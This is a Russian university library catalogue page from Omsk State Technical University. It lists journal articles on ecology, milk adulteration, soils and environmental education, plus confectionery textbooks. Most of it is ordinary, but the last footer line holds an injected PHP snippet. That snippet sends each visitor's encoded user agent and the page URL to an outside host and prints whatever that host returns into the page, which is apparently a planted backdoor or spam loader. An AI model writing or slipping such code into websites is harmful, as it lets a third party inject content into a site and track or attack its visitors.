    Кл. слова: МЕТАЛЛЫ ТЯЖЕЛЫЕ, КОНФЕТЫ ПОМАДНЫЕ
  • Калинина, Е. Определение физико-химических показателей молока с целью выявления его фальсификации / Е. Калинина, И. Н. Бондаревская. - с.50-57
    Кл. слова: ФАЛЬСИФИКАЦИЯ МОЛОКА, МОЛОКО, СОСТАВ ХИМИЧЕСКИЙ МОЛОКА
  • Куданова, М. К. Профилактика кариеса препаратами фтора / М. К. Куданова. - с.57-64
    Кл. слова: КАРИЕС - ПРОФИЛАКТИКА, ФТОР
  • Кумашев, А. Ecology of Water / А. Кумашев, Т. С. Мустафина. - с.64-68
  • Исследование качества губок для мытья посуды / ; Н. А. Потапова, И. С. Харламова, И. П. Каня, Л. Г. Германская. - с.68-77
    Кл. слова: ГУБКА ДЛЯ МЫТЬЯ ПОСУДЫ
  • Исследование консервов на некоторые показатели качества / ; Н. А. Потапова, И. С. Харламова, И. П. Каня, Л. Г. Германская. - с.77-85
    Кл. слова: КОНСЕРВЫ
  • Сополева, Д. Мир стоит на пороге голода / Д. Сополева, С. П. Адильханова. - с.86-88
    Кл. слова: ГОЛОД, ПИТАНИЕ - ЭКОЛОГИЯ
  • Тлешов, А. Фосфоритная мука - гарант высокого урожая / А. Тлешов. - с.89-93
    Кл. слова: МУКА ФОСФОРИТНАЯ, УРОЖАЙ
  • Шевелева, Л. А. Изучение социальных аспектов возникновения никотиновой зависимости в среде молодежи / Л. А. Шевелева. - с.93-99
    Кл. слова: НИКОТИН, КУРЕНИЕ - МОЛОДЕЖЬ
  • Денисова, Г. В. Инновационные подходы в развитии экологического образования и воспитания детей школьного возраста в Республике Казахстан / Г. В. Денисова, Л. А. Абраменко. - с.100-107
    Кл. слова: ОБРАЗОВАНИЕ ЭКОЛОГИЧЕСКОЕ, КАЗАХСТАН - ОБРАЗОВАНИЕ ЭКОЛОГИЧЕСКОЕ
  • Ермилов, В. Визуальная среда современного школьника / В. Ермилов. - с.107-114
    Кл. слова: ШКОЛЬНИК, СРЕДА ВИЗУАЛЬНАЯ
  • Малютина, М. А. О программе реализации проекта "Школа - центр экологического образования и воспитания" в образовательном пространстве Курганской области / М. А. Малютина. - с.114-119
    Кл. слова: ОБРАЗОВАНИЕ ЭКОЛОГИЧЕСКОЕ, ШКОЛА
  • Мельникова, О. Ю. Рио + 20. Устойчивое развитие. 20 лет спустя / О. Ю. Мельникова. - с.120-125
    Кл. слова: ВЫЖИВАНИЕ
  • Оробинская, Е. А. Формирование экоцентрических установок молодежи в свете концепции устойчивого развития цивилизации / Е. А. Оробинская, М. В. Васильев. - с.125-128
    Кл. слова: МИРОВОЗЗРЕНИЕ ЭКОЛОГИЧЕСКОЕ
  • Степанова, Н. В. Особенности реализации проектной деятельности в Курской области / Н. В. Степанова. - с.128-132
    Кл. слова: ДЕЯТЕЛЬНОСТЬ ПРОЕКТНАЯ
  • Сущенко, И. А. Проблемы внедрения образования устойчивого развития в школьную практику / И. А. Сущенко. - с.132-134
    Кл. слова: РАЗВИТИЕ УСТОЙЧИВОЕ
  • Башлыкова, А. Е. Проблемы дегумификации почв Северо-Казахстанской области / А. Е. Башлыкова, И. Н. Лиходумова. - с.136-144
    Кл. слова: ДЕГУМИФИКАЦИЯ ПОЧВ
  • Бекбаулина, А. Методика адаптированной оценки экономического ущерба от загрязнения атмосферы / А. Бекбаулина. - с.145-152
    Кл. слова: УЩЕРБ ЭКОНОМИЧЕСКИЙ, ЗАГРЯЗНЕНИЕ АТМОСФЕРЫ
  • Бойко, А. А. Мониторинг загрязнения атмосферного воздуха под влиянием техногенных условий г. Омска / А. А. Бойко. - с.152-155
    Кл. слова: ЗАГРЯЗНЕНИЕ АТМОСФЕРЫ, УСЛОВИЯ ТЕХНОГЕННЫЕ, ОМСК - ЭКОЛОГИЯ
  • Бримжанова, М. Экологические проблемы Восточного региона Казахстана / М. Бримжанова, Р. К. Абдилова. - с.155-159
    Кл. слова: ПРОБЛЕМА ЭКОЛОГИЧЕСКАЯ, КАЗАХСТАН - ЭКОЛОГИЯ
  • Гафурова, А. Ю. Оценка влияния деятельности предприятий теплоэнергетики на состояние водоемов / А. Ю. Гафурова. - с.159-162
    Кл. слова: ПРЕДПРИЯТИЕ ТЕПЛОЭНЕРГЕТИКИ - ЭКОЛОГИЯ, ВОДОЕМЫ
  • Гафурова, А. Ю. Влияние предприятия теплоэнергетики на состояние окружающей среды / А. Ю. Гафурова. - с.162-167
    Кл. слова: ПРЕДПРИЯТИЕ ТЕПЛОЭНЕРГЕТИКИ - ЭКОЛОГИЯ
  • Йосипенко, Н. В. Каштановая минирующая моль - новый вредитель конского каштана обыкновенного в г. Киеве / Н. В. Йосипенко, М. Н. Бащенко, В. Н. Чайка. - с.167-171
    Кл. слова: МОЛЬ
  • Колтунова, М. А. Гидроэкологическая оценка динамики внутригодового распределения стока реки Тускарь / М. А. Колтунова. - с.172-176
    Кл. слова: ОЦЕНКА ГИДРОЭКОЛОГИЧЕСКАЯ
  • Биоутилизация промышленных отходов с получением поверхностно-активных веществ для биоремедиации комплексных нефтяных загрязнений воды и почвы / ; О. Д. Конон, А. П. Софилканич, С. А. Парфенюк [и др.]. - с.176-184
    Кл. слова: БИОУТИЛИЗАЦИЯ ПРОМЫШЛЕННЫХ ОТХОДОВ
  • Кузовова, В. Изучение влияния комнатных растений на экологическое состояние квартиры / В. Кузовова, М. Е. Куликова. - с.184-191
    Кл. слова: ЦВЕТЫ КОМНАТНЫЕ
  • Лохова, А. С. Экологическое состояние Восточно-Казахской области: проблемы и пути решения / А. С. Лохова, А. Б. Бексултанова, С. А. Катпина. - с.191-194
    Кл. слова: КАЗАХСТАН - ЭКОЛОГИЯ
  • Накипова, Л. Ecological problem in Semey / Л. Накипова, А. А. Калиакпарова, Б. К. Сайлаугазинова. - с.195-199
  • Равшанов, Н. Информация, информационные технологии и моделирование как инструмент для анализа и прогнозирования экологического состояния окружающей среды / Н. Равшанов, Н. Н. Тоштемирова, Д. Ахмедов. - с.199-207
    Кл. слова: ТЕХНОЛОГИИ ИНФОРМАЦИОННЫЕ - ЭКОЛОГИЯ
  • Терещенко, Д. И. Влияние антропогенной нагрузки на показатели плодородия почвенного покрова урочища Карыжского леса / Д. И. Терещенко. - с.207-214
    Кл. слова: НАГРУЗКА АНТРОПОГЕННАЯ, ПЛОДОРОДИЕ ПОЧВ
  • Фролова, А. Инвентаризация ручьев в средней и южной части Большереченского района для охраны бассейновых экосистем / А. Фролова, С. Н. Калкенов, Р. Г. Валитов. - с.214-224
    Кл. слова: РУЧЕЙ, БОЛЬШЕРЕЧЬЕ
  • Хайбрахманов, Т. С. Ландшафтно-функциональное зонирование городских территорий (на примере г. Москвы) / Т. С. Хайбрахманов, В. В. Горячих. - с.224-232
    Кл. слова: ЗОНИРОВАНИЕ ландшафтно-функциональное, ЗОНИРОВАНИЕ ГОРОДСКИХ ТЕРРИТОРИЙ
  • Щурова, Н. Н. Особенности экологического каркаса Обоянского района Курской области / Н. Н. Щурова. - с.232-237
    Кл. слова: КАРКАС ЭКОЛОГИЧЕСКИЙ
  • Юдина, Е. В. Морфологические особенности почв урбоэкосистемы города Абакана / Е. В. Юдина. - с.237-244
    Кл. слова: АБАКАН, ПОЧВА
  • Боев, В. В. Микроэлементы в земной коре и почвах: распределение и формы соединений, экологическое значение / В. В. Боев. - с.246-252
    Кл. слова: КОРА ЗЕМНАЯ, ПОЧВА - МИКРОЭЛЕМЕНТЫ
  • Королев, А. Н. 2012 год - международный год устойчивой энергетики для всех / А. Н. Королев. - с.252-260
    Кл. слова: ГОД ЮБИЛЕЙНЫЙ
  • Мухамбеткаликызы, А. Воспроизводство плодородия почв - веление времени / А. Мухамбеткаликызы. - с.261-263
    Кл. слова: ПЛОДОРОДИЕ ПОЧВ
  • Туремуратов, Т. М. Критерии оценки степени трансформации степной и пустынной растительности / Т. М. Туремуратов, А. М. Сарсенов. - с.264-270
    Кл. слова: РАСТИТЕЛЬНОСТЬ СТЕПНАЯ, РАСТИТЕЛЬНОСТЬ ПУСТЫННАЯ, ТРАНСФОРМАЦИЯ
  • Утеулиева, К. С. Функции почвы как компонента экосистемы / К. С. Утеулиева, М. А. Мухаматов, Т. М. Туремуратов. - с.270-280
    Кл. слова: ПОЧВА, ФАКТОР АНТРОПОГЕННЫЙ
  • Терлеева, О. И. Анализ содержания витамина C в традиционных и экзотических для Западной Сибири источниках / О. И. Терлеева, Е. В. Кузнецова. - с.282-286
    Кл. слова: ВИТАМИН C
Держатели документа (Информация об экземплярах) 
20. 
Драгилев А. И. Технология кондитерских изделий [Текст] : Учеб. для студ. образоват. учреждений сред. проф. образования / А. И. Драгилев, И. С. Лурье, 2003. - 429 с.
Держатели документа (Информация об экземплярах) 
21. 
Драгилев, Абрам Иосифович. Основы кондитерского производства [Текст] : Учеб. для вузов по специальностям "Технология хлеба, кондит. и макарон. изделий", "Машины и аппараты пищевых пр-в" / А. И. Драгилев, Г. А. Маршалкин, 1999. - 447 с.


    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 3022 - 18.09.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 1.42 с.26 запросов, 0.90c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;